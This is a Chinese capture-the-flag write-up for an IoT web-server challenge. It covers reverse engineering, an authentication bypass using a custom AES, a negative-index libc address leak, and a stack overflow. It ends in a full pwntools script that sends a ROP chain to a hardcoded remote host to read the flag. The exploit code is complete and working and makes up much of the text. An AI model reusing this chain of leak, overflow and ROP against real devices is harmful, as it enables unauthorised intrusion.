羊城杯-基于栈溢出的IoT固件安全分析与利用
本文分析了一个存在栈溢出漏洞的IoT固件,通过逆向工程实现鉴权绕过、libc泄露与ROP利用,最终获取flag。
hello_iot3
这个iot的话比起那个内核简单一点,单纯的考了一个栈溢出,在加密算法不计入的情况下
root@ziran [/home/ziran/Desktop/iot] ➜ cat Dockerfile [9:18:19]
FROM ubuntu:20.04
RUN useradd -m ctf
COPY sources.list /etc/apt/sources.list
RUN rm -f /etc/apt/sources.list.d/ubuntu.sources || true && \
apt-get update && \
apt-get install -y libmicrohttpd12 supervisor --no-install-recommends && \
rm -rf /var/lib/apt/lists/*
COPY supervisord.conf /home/ctf/supervisord.conf
WORKDIR /home/ctf
RUN mkdir /home/ctf/bin && \
cp /bin/sh /home/ctf/bin && \
cp /bin/ls /home/ctf/bin && \
cp /bin/cat /home/ctf/bin
COPY ./start.sh /start.sh
RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail
RUN chmod +x /start.sh
RUN rm .bash_logout && rm .bashrc && rm .profile
COPY ./httpd /home/ctf/
COPY ./login.html /home/ctf/
COPY ./find.sh /home/ctf/
COPY ./work.html /home/ctf/
COPY ./log.html /home/ctf/
COPY ./libc-2.31.so /lib/
RUN chown -R root:ctf /home/ctf && chmod -R 777 /home/ctf
CMD ["/start.sh"]
EXPOSE 9999我们先来看一下dockfile里面的流程
root@ziran [/home/ziran/Desktop/iot] ➜ cat start.sh [9:18:24]
#!/bin/sh
# Add your startup script
echo $DASFLAG > /flag
# DO NOT DELETE
#/etc/init.d/xinetd start;
/bin/sh /home/ctf/find.sh &
/usr/bin/supervisord -c /home/ctf/supervisord.conf
sleep infinity;看一下启动脚本
root@ziran [/home/ziran/Desktop/iot] ➜ cat supervisord.conf [9:19:08]
[supervisord]
nodaemon=true
[program:ctf-httpd]
command=/home/ctf/httpd
directory=/home/ctf
autostart=true
autorestart=true
startretries=3
stdout_logfile=/var/log/ctf-httpd.log
stderr_logfile=/var/log/ctf-httpd.err
user=root然后再去判断一下文件类型
root@ziran [/home/ziran/Desktop/iot] ➜ file httpd [9:19:35]
httpd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0aae9c9ed5c90f8836d2ef3e723a5a1f72ec138d, for GNU/Linux 3.2.0, stripped我们再去分析一下题目中的漏洞的附件
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int seed; // eax
__int64 started; // [rsp+0h] [rbp-10h]
int i; // [rsp+Ch] [rbp-4h]
seed = time(0);
srand(seed);
started = MHD_start_daemon(8, 9999, 0, 0, sub_4031D5, 0, 0);
if ( started )
{
printf("Server running on port %d\n", 9999);
getchar();
MHD_stop_daemon(started);
for ( i = 0; i < dword_40626C; ++i )
free(*((void **)&unk_4065C0 + i));
return 0;
}
else
{
puts("Failed to start server");
return 1;
}
}这个是主函数
然后进入那个sub函数看一下,补充一下相关的知识
URL | 方法 | 处理函数 | 功能描述 |
| GET |
| 显示登录页面 |
| POST |
| 处理登录请求 |
| GET |
| 显示工作页面 |
| GET/POST |
| 处理工作相关操作 |
| GET |
| 显示日志页面 |
| POST |
| 处理日志相关操作 |
其他 | 任意 | - | 返回 404 Not Found |
贴一下漏洞附件的gadget
ziran@ziran [~/Desktop/iot] ➜ >....
============================================================
0x000000000040362c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000402371 : pop r12 ; pop rbp ; ret
0x000000000040362e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000403630 : pop r14 ; pop r15 ; ret
0x0000000000403632 : pop r15 ; ret
0x000000000040283c : pop rax ; pop rbx ; pop rbp ; ret
0x000000000040362b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040362f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004014dd : pop rbp ; ret
0x0000000000402370 : pop rbx ; pop r12 ; pop rbp ; ret
0x00000000004016ae : pop rbx ; pop rbp ; ret
0x0000000000403633 : pop rdi ; ret
0x0000000000403631 : pop rsi ; pop r15 ; ret
0x000000000040362d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000402372 : pop rsp ; pop rbp ; ret
0x000000000040101a : ret
0x0000000000401ef8 : ret 0x458b
0x0000000000402a71 : ret 0x860f
0x00000000004025b8 : ret 0x8948
0x000000000040177c : ret 0x8b48
0x0000000000401847 : ret 0xd389这个和我以前开发的那个apache挂载的服务开发的很像
Unauthorized. Please login.我们尝试直接登录,但是会有这个输出,所以说我们需要逆向login登录界面
看一下这个函数登录
__int64 __fastcall sub_402555(__int64 a1, __int64 a2, const void *src, size_t *a4)
{
__int64 dest_; // [rsp+40h] [rbp-40h] BYREF
__int64 src_[2]; // [rsp+50h] [rbp-30h] BYREF
unsigned int v8; // [rsp+64h] [rbp-1Ch]
__int64 response_from_buffer; // [rsp+68h] [rbp-18h]
void *ptr; // [rsp+70h] [rbp-10h]
size_t n; // [rsp+78h] [rbp-8h]
if ( *a4 )
{
n = *a4;
if ( *(_QWORD *)(a2 + 2048) + n > 0x7FF )
n = 2047LL - *(_QWORD *)(a2 + 2048);
memcpy((void *)(a2 + *(_QWORD *)(a2 + 2048)), src, n);
*(_QWORD *)(a2 + 2048) += n;
*a4 = 0;
return 1;
}
else
{
*(_BYTE *)(a2 + *(_QWORD *)(a2 + 2048)) = 0;
ptr = (void *)sub_4030D1(a2, "ciphertext");
if ( ptr )
{
sub_40207D((__int64)ptr, (__int64)src_, 0x10u);
aes(src_, &dest_, 16); // aes解密
if ( sub_40309B(&dest_, &s2_) ) // 对比分析
dword_406268 = 1;
free(ptr);
}
response_from_buffer = MHD_create_response_from_buffer();
MHD_add_response_header();
v8 = MHD_queue_response();
MHD_destroy_response();
return v8;
}
}这里丢给ai分析,aes解密
将ciphertext解密后结果是否与全局变量的字符串byte_420558对比,如果相同的话就能绕过检查
byte_420558字符串是在/login.html中⽣成的16字节的随机字符串,可以通过访问/login.html的⽅式直接获得
进而可以通过登录页面
解密脚本如下
from typing import List
from Crypto.Util.Padding import pad, unpad
# --- 自定义S盒 (来自unk_406160) ---
CUSTOM_SBOX_DATA = [
0x29,0x40,0x57,0x6E,0x85,0x9C,0xB3,0xCA,0xE1,0xF8,0x0F,0x26,0x3D,0x54,0x6B,0x82,
0x99,0xB0,0xC7,0xDE,0xF5,0x0C,0x23,0x3A,0x51,0x68,0x7F,0x96,0xAD,0xC4,0xDB,0xF2,
0x09,0x20,0x37,0x4E,0x65,0x7C,0x93,0xAA,0xC1,0xD8,0xEF,0x06,0x1D,0x34,0x4B,0x62,
0x79,0x90,0xA7,0xBE,0xD5,0xEC,0x03,0x1A,0x31,0x48,0x5F,0x76,0x8D,0xA4,0xBB,0xD2,
0xE9,0x00,0x17,0x2E,0x45,0x5C,0x73,0x8A,0xA1,0xB8,0xCF,0xE6,0xFD,0x14,0x2B,0x42,
0x59,0x70,0x87,0x9E,0xB5,0xCC,0xE3,0xFA,0x11,0x28,0x3F,0x56,0x6D,0x84,0x9B,0xB2,
0xC9,0xE0,0xF7,0x0E,0x25,0x3C,0x53,0x6A,0x81,0x98,0xAF,0xC6,0xDD,0xF4,0x0B,0x22,
0x39,0x50,0x67,0x7E,0x95,0xAC,0xC3,0xDA,0xF1,0x08,0x1F,0x36,0x4D,0x64,0x7B,0x92,
0xA9,0xC0,0xD7,0xEE,0x05,0x1C,0x33,0x4A,0x61,0x78,0x8F,0xA6,0xBD,0xD4,0xEB,0x02,
0x19,0x30,0x47,0x5E,0x75,0x8C,0xA3,0xBA,0xD1,0xE8,0xFF,0x16,0x2D,0x44,0x5B,0x72,
0x89,0xA0,0xB7,0xCE,0xE5,0xFC,0x13,0x2A,0x41,0x58,0x6F,0x86,0x9D,0xB4,0xCB,0xE2,
0xF9,0x10,0x27,0x3E,0x55,0x6C,0x83,0x9A,0xB1,0xC8,0xDF,0xF6,0x0D,0x24,0x3B,0x52,
0x69,0x80,0x97,0xAE,0xC5,0xDC,0xF3,0x0A,0x21,0x38,0x4F,0x66,0x7D,0x94,0xAB,0xC2,
0xD9,0xF0,0x07,0x1E,0x35,0x4C,0x63,0x7A,0x91,0xA8,0xBF,0xD6,0xED,0x04,0x1B,0x32,
0x49,0x60,0x77,0x8E,0xA5,0xBC,0xD3,0xEA,0x01,0x18,0x2F,0x46,0x5D,0x74,0x8B,0xA2,
0xB9,0xD0,0xE7,0xFE,0x15,0x2C,0x43,0x5A,0x71,0x88,0x9F,0xB6,0xCD,0xE4,0xFB,0x12
]
# --- AES密钥扩展中使用的标准轮常数 ---
ROUND_CONSTANTS = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36]
# 实用工具函数
def xor_bytes(a: bytes, b: bytes) -> bytes:
"""对两个字节序列进行逐字节异或操作"""
return bytes(x ^ y for x, y in zip(a, b))
def rotate_word(word: List[int]) -> List[int]:
"""将4字节字循环左移一位"""
return word[1:] + word[:1]
def substitute_word(word: List[int]) -> List[int]:
"""使用自定义S盒替换字中的每个字节"""
return [CUSTOM_SBOX_DATA[b] for b in word]
# 密钥扩展 (AES-128, Nk=4, Nr=10)
def generate_expanded_key(key: bytes) -> bytes:
"""从128位密钥生成176字节的扩展密钥"""
assert len(key) == 16
key_words = 4 # 密钥字数 (128位/32)
block_cols = 4 # 状态矩阵列数
rounds_num = 10 # AES-128轮数
# 初始化密钥调度表
key_schedule = [list(key[4*i:4*(i+1)]) for i in range(key_words)]
# 扩展密钥
for i in range(key_words, block_cols*(rounds_num+1)):
temp = key_schedule[i-1].copy()
if i % key_words == 0:
# 对字进行变换:循环移位、S盒替换、轮常数异或
temp = rotate_word(temp)
temp = substitute_word(temp)
temp[0] ^= ROUND_CONSTANTS[(i // key_words) - 1]
# 生成新字:与前一个轮密钥字异或
new_word = [(temp[j] ^ key_schedule[i-key_words][j]) & 0xFF for j in range(4)]
key_schedule.append(new_word)
# 将调度表展平为字节序列
return bytes(b for word in key_schedule for b in word) # 176字节
# AES状态矩阵辅助函数 (状态矩阵为4x4列优先)
def bytes_to_matrix(data: bytes) -> List[List[int]]:
"""将16字节转换为4x4状态矩阵(列优先)"""
return [[data[r + 4*c] for r in range(4)] for c in range(4)]
def matrix_to_bytes(matrix: List[List[int]]) -> bytes:
"""将4x4状态矩阵转换为16字节(列优先)"""
output_bytes = bytearray(16)
for col in range(4):
for row in range(4):
output_bytes[row + 4*col] = matrix[col][row]
return bytes(output_bytes)
def apply_key(matrix: List[List[int]], key_bytes: bytes):
"""轮密钥加操作:状态矩阵与轮密钥异或"""
key_matrix = bytes_to_matrix(key_bytes)
for col in range(4):
for row in range(4):
matrix[col][row] ^= key_matrix[col][row]
def substitute_bytes(matrix: List[List[int]]):
"""字节替换:使用自定义S盒替换状态矩阵中的每个字节"""
for col in range(4):
for row in range(4):
matrix[col][row] = CUSTOM_SBOX_DATA[matrix[col][row]]
def shift_matrix_rows(matrix: List[List[int]]):
"""行移位:每行循环左移不同位数"""
for row_idx in range(1, 4):
# 提取行数据
row_data = [matrix[col][row_idx] for col in range(4)]
# 循环左移:第r行左移r位
rotated_row = row_data[row_idx:] + row_data[:row_idx]
# 更新状态矩阵
for col in range(4):
matrix[col][row_idx] = rotated_row[col]
# 列混淆操作(使用有限域乘法)
def galois_multiply(a: int) -> int:
"""在GF(2^8)域上乘以x(多项式乘法)"""
return ((a << 1) ^ 0x1B) & 0xFF if (a & 0x80) else (a << 1) & 0xFF
def mix_single_column(col_data: List[int]) -> List[int]:
"""对单列进行列混淆操作"""
doubled = [galois_multiply(col_data[i]) for i in range(4)]
# AES列混淆矩阵乘法:[2 3 1 1; 1 2 3 1; 1 1 2 3; 3 1 1 2]
return [
doubled[0] ^ col_data[3] ^ col_data[2] ^ doubled[1] ^ col_data[1],
doubled[1] ^ col_data[0] ^ col_data[3] ^ doubled[2] ^ col_data[2],
doubled[2] ^ col_data[1] ^ col_data[0] ^ doubled[3] ^ col_data[3],
doubled[3] ^ col_data[2] ^ col_data[1] ^ doubled[0] ^ col_data[0]
]
def mix_matrix_columns(matrix: List[List[int]]):
"""对状态矩阵的所有列进行列混淆操作"""
for col in range(4):
col_data = matrix[col]
new_col = mix_single_column(col_data)
for row in range(4):
matrix[col][row] = new_col[row] & 0xFF
# 使用扩展密钥加密单个16字节块
def encrypt_data_block(data_block: bytes, expanded_key: bytes) -> bytes:
"""使用扩展密钥加密单个16字节块"""
assert len(data_block) == 16
assert len(expanded_key) == 176
state_matrix = bytes_to_matrix(data_block)
# 初始轮密钥加(第0轮)
apply_key(state_matrix, expanded_key[0:16])
# 1-9轮:字节替换、行移位、列混淆、轮密钥加
for round_num in range(1, 10):
substitute_bytes(state_matrix)
shift_matrix_rows(state_matrix)
mix_matrix_columns(state_matrix)
apply_key(state_matrix, expanded_key[16*round_num:16*(round_num+1)])
# 最终轮:字节替换、行移位、轮密钥加(无列混淆)
substitute_bytes(state_matrix)
shift_matrix_rows(state_matrix)
apply_key(state_matrix, expanded_key[160:176]) # 最后一轮密钥
return matrix_to_bytes(state_matrix)
def decrypt_data_block(data_block: bytes, expanded_key: bytes) -> bytes:
"""解密单个16字节块(未实现)"""
# 注意:完整的AES解密需要逆操作和逆S盒
# 为简洁起见,本代码片段未实现解密功能
raise NotImplementedError("本代码片段未实现解密功能")
# 高级加密/解密函数(ECB模式)
def encrypt_with_ecb(plain_data: bytes, secret_key: bytes) -> bytes:
"""使用ECB模式加密数据"""
# 生成扩展密钥
exp_key = generate_expanded_key(secret_key)
# 填充明文
padded_data = pad(plain_data, 16)
ciphertext = bytearray()
# 分块加密
for i in range(0, len(padded_data), 16):
ciphertext += encrypt_data_block(padded_data[i:i+16], exp_key)
return bytes(ciphertext)
# 示例用法
if __name__ == "__main__":
# 测试密钥和明文
encryption_key = b"0123456789ABCDEF"
input_data = b"bolgsyfutyhvwggqb" # 16字节
# 加密并输出结果
encrypted_result = encrypt_with_ecb(input_data, encryption_key)
print("加密结果 (十六进制):", encrypted_result.hex())然后的我们去分析work的接口
把这个明文改成登录页面上的key,然后将运行程序打印出来的结果输入到登录页面之后,就能获得成功绕过登录
__int64 __fastcall sub_402840(_QWORD a1, __int64 dest_5, const void *src, size_t *a4)
{
int v5; // eax
char s[260]; // [rsp+60h] [rbp-150h] BYREF
unsigned int v8; // [rsp+164h] [rbp-4Ch]
__int64 response_from_buffer; // [rsp+168h] [rbp-48h]
__int64 v10; // [rsp+170h] [rbp-40h]
void *dest_4; // [rsp+178h] [rbp-38h]
void *dest; // [rsp+180h] [rbp-30h]
int n_1; // [rsp+18Ch] [rbp-24h]
_BYTE *dest_2; // [rsp+190h] [rbp-20h]
size_t n; // [rsp+198h] [rbp-18h]
_BYTE *dest_3; // [rsp+1A0h] [rbp-10h]
_BYTE *dest_1; // [rsp+1A8h] [rbp-8h]
dest_1 = 0;
n_1 = 0;
dest_3 = 0;
if ( *a4 )
{
n = *a4;
if ( *(_QWORD *)(dest_5 + 2048) + n > 0x7FF )
n = 2047LL - *(_QWORD *)(dest_5 + 2048);
memcpy((void *)(dest_5 + *(_QWORD *)(dest_5 + 2048)), src, n);
*(_QWORD *)(dest_5 + 2048) += n;
*a4 = 0;
return 1;
}
else
{
*(_BYTE *)(dest_5 + *(_QWORD *)(dest_5 + 2048)) = 0;
dest_1 = (_BYTE *)dest_5;
n_1 = *(_QWORD *)(dest_5 + 2048);
dest = malloc(n_1 + 1);
memcpy(dest, (const void *)(dest_5 + 5), n_1 - 5);
if ( dest )
{
for ( dest_1 = dest; *dest_1 != 10; ++dest_1 )
;
n_1 = (_DWORD)dest_1 - (_DWORD)dest;
for ( dest_2 = dest; dest_2 - (_BYTE *)dest + 6 <= (unsigned __int64)n_1; ++dest_2 )
{
if ( *dest_2 == 89
&& dest_2[1] == 67
&& dest_2[2] == 66
&& dest_2[3] == 50
&& dest_2[4] == 48
&& dest_2[5] == 50
&& dest_2[6] == 53 )
{
dest_3 = dest_2;
break;
}
}
if ( dest_3 )
{
v10 = dest_3 - (_BYTE *)dest;
sub_4031A2(dest, dest_3 - (_BYTE *)dest);
return 0;
}
if ( n99 <= 99 )
{
dest_4 = malloc(n_1 + 1LL);
if ( dest_4 )
{
memcpy(dest_4, dest, n_1);
*((_BYTE *)dest_4 + n_1) = 0;
v5 = n99++;
qword_4065C0[v5] = dest_4;
}
}
free(dest);
}
*(_QWORD *)(dest_5 + 2048) = 0;
*(_BYTE *)dest_5 = 0;
snprintf(s, 0x100u, "Node stored. Total=%d", n99);
strlen(s);
response_from_buffer = MHD_create_response_from_buffer();
MHD_add_response_header();
v8 = MHD_queue_response();
MHD_destroy_response();
return v8;
}
}这个是work的具体的实现的细节
这里的话可以大体看一下是存在栈溢出的漏洞,但是需要满足一下的条件
摘录一下重点
if ( dest )
{
for ( dest_1 = dest; *dest_1 != 10; ++dest_1 )
;
n_1 = (_DWORD)dest_1 - (_DWORD)dest;
for ( dest_2 = dest; dest_2 - (_BYTE *)dest + 6 <= (unsigned __int64)n_1; ++dest_2 )
{
if ( *dest_2 == 'Y'
&& dest_2[1] == 'C'
&& dest_2[2] == 'B'
&& dest_2[3] == '2'
&& dest_2[4] == '0'
&& dest_2[5] == '2'
&& dest_2[6] == '5' )
{
dest_3 = dest_2;
break;
}
}
if ( dest_3 )
{
v10 = dest_3 - (_BYTE *)dest;
sub_4031A2(dest, dest_3 - (_BYTE *)dest);
return 0;
}YCB2025字符加上走这个分支就行了
具体的漏洞如下
__int64 __fastcall sub_4031A2(const void *dest, int n)
{
_BYTE desta[64]; // [rsp+10h] [rbp-40h] BYREF
memcpy(desta, dest, n);
return 0;
}通过这个可以劫持程序的执行流
保存flag的值的话
假如说正常申请进行访问的话
将内存地址保存到全局变量中,可以利用这个内存地址完成最后的orw的参数传递
这里注意加上aaaa导航过去
这个IoT站点的鉴权似乎比较严格。 (1)远程靶场启动需要等待15秒左右; (2)漏洞利用过程导致的程序崩溃,远程docker有配置的进程守护脚本,需要等待5秒左右,进程守护脚本仅重启程序,未修改静态资源; (3)静态资源在/home/ctf/目录下。
存在负数索引,可以直接去泄露
__int64 __fastcall sub_402D1D(_QWORD a1, __int64 a2, const void *src, size_t *a4)
{
char s_[1036]; // [rsp+20h] [rbp-460h] BYREF
unsigned int v7; // [rsp+42Ch] [rbp-54h]
__int64 v8; // [rsp+430h] [rbp-50h]
char *s; // [rsp+438h] [rbp-48h]
unsigned int v10; // [rsp+444h] [rbp-3Ch]
unsigned int v11; // [rsp+45Ch] [rbp-24h]
__int64 response_from_buffer; // [rsp+460h] [rbp-20h]
int n99; // [rsp+46Ch] [rbp-14h]
char *nptr; // [rsp+470h] [rbp-10h]
size_t n; // [rsp+478h] [rbp-8h]
if ( *a4 )
{
n = *a4;
if ( *(_QWORD *)(a2 + 2048) + n > 0x7FF )
n = 2047LL - *(_QWORD *)(a2 + 2048);
memcpy((void *)(a2 + *(_QWORD *)(a2 + 2048)), src, n);
*(_QWORD *)(a2 + 2048) += n;
*a4 = 0;
return 1;
}
else
{
*(_BYTE *)(a2 + *(_QWORD *)(a2 + 2048)) = 0;
nptr = (char *)sub_4030D1(a2, "index");
if ( nptr )
{
n99 = atoi(nptr);
free(nptr);
if ( n99 < ::n99 && qword_4065C0[n99] )
{
if ( n99 >= 0 )
snprintf(
s_,
0x400u,
"Input[%d]->>%s:%p",
n99,
(const char *)qword_4065C0[n99],
(const void *)qword_4065C0[n99]);
else
snprintf(
s_,
0x400u,
"<html><head><meta charset='UTF-8'></head><body><h3>Input[%d]</h3><pre>%p</pre></body></html>",
n99,
(const void *)qword_4065C0[n99]);
strlen(s_);
response_from_buffer = MHD_create_response_from_buffer();
MHD_add_response_header();
v11 = MHD_queue_response();
MHD_destroy_response();
return v11;
}
else
{
strlen("Invalid index");
MHD_create_response_from_buffer();
MHD_add_response_header();
v10 = MHD_queue_response();
MHD_destroy_response();
return v10;
}
}
else
{
s = "Missing index";
strlen("Missing index");
v8 = MHD_create_response_from_buffer();
MHD_add_response_header();
v7 = MHD_queue_response();
MHD_destroy_response();
return v7;
}
}
}其中泄露的时候具体依据的函数如下
else
snprintf(
s_,
0x400u,
"<html><head><meta charset='UTF-8'></head><body><h3>Input[%d]</h3><pre>%p</pre></body></html>",
n99,
(const void *)qword_4065C0[n99]);
strlen(s_);
response_from_buffer = MHD_create_response_from_buffer();
MHD_add_response_header();
v11 = MHD_queue_response();
MHD_destroy_response();
return v11;
}计算好负数,泄露libc即可
exp
这个题目我做的太少了
首先访问login.html接⼝获得明⽂,将明⽂加密并post发送⾄login接⼝,绕过鉴权
然后log泄露libc,之后写入静态资源
最后栈溢出重启之后获取flag
这里用调试的话也可以,运行 httpd, pwntools remote("localhost",port)链接即可
#!/usr/bin/python3
import re
import http.client
import urllib.parse
from pwn import *
context(log_level="debug",os="linux",arch="amd64")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc-2.31.so")
#url = "http://localhost:9999/"
host = "45.40.247.139"
port = 29704
base_path = "/"
def send_http_request(method, path, data=None, headers=None):
"""发送HTTP请求并返回响应内容"""
conn = http.client.HTTPConnection(host, port)
if not headers:
headers = {"Content-type": "application/x-www-form-urlencoded"}
try:
if method == "POST":
conn.request("POST", path, data, headers)
else:
conn.request("GET", path, headers=headers)
response = conn.getresponse()
content = response.read().decode('utf-8')
return content
finally:
conn.close()
# 登录请求
login_data = urllib.parse.urlencode({"ciphertext": "54813bfef7073ed5cd073fb48ff782c5930d7819df3130b61efcc54643da6dcb"})
login_response = send_http_request("POST", base_path + "login", login_data)
print("登录响应:", login_response)
# 获取libc地址
log_data = urllib.parse.urlencode({"index": "-181"})
log_response = send_http_request("POST", base_path + "log", log_data)
print("日志响应:", log_response)
matches = re.search(r'0x[0-9a-fA-F]+', log_response)
lib = int(matches.group(),16) - libc.sym['printf']
print("libc基地址:", hex(lib))
pop_rdi = 0x0000000000403633
pop_rsi = 0x0000000000403631
pop_rax = lib + 0x0000000000036174
syscall = next(libc.search(asm("syscall;ret")))
pop_rdx = 0x0000000000119431 + lib
# 设置工作数据
work_data = "aaaaa/flag\x00"
work_response = send_http_request("POST", base_path + "work", work_data)
print("工作响应:", work_response)
# 获取flag地址
log_data = urllib.parse.urlencode({"index": "0"})
log_response = send_http_request("POST", base_path + "log", log_data)
print("日志响应:", log_response)
matches = re.search(r'0x[0-9a-fA-F]+', log_response)
flag_addr = int(matches.group(),16)
print("flag地址:", hex(flag_addr))
store_addr = 0x04065A0
pay = flat(pop_rax,2,pop_rdi,flag_addr,pop_rsi,0,0,pop_rdx,0x30,0,syscall)
pay += flat(pop_rax,0,pop_rdi,6,pop_rsi,store_addr,0,pop_rdx,0x30,0,syscall)
pay += flat(pop_rax,1,pop_rdi,5,pop_rsi,store_addr,0,pop_rdx,0x30,0,syscall)
# 再次获取日志
log_data = urllib.parse.urlencode({"index": "0"})
log_response = send_http_request("POST", base_path + "log", log_data)
print("日志响应:", log_response)
# 发送最终工作数据
payload = b"a"*0x4d + pay + b"YCB2025"
work_data = urllib.parse.urlencode({"data": payload.decode('latin1')})
work_response = send_http_request("POST", base_path + "work", work_data)
print("最终工作响应:", work_response)我们审完题框架之后来看一下要求
这个也补充一下模版对应的解释吧,实践很充足
#!/usr/bin/python3
import requests as req # 用于发送HTTP请求
import re # 用于从文本中提取特定模式(如内存地址)
from pwn import * # 二进制利用工具库
import time # 时间相关操作本文分析了一个存在栈溢出漏洞的IoT固件,通过逆向工程实现鉴权绕过、libc泄露与ROP利用,最终获取flag。
由 AI 根据全文自动生成,仅供参考,以原文为准
我看不到评论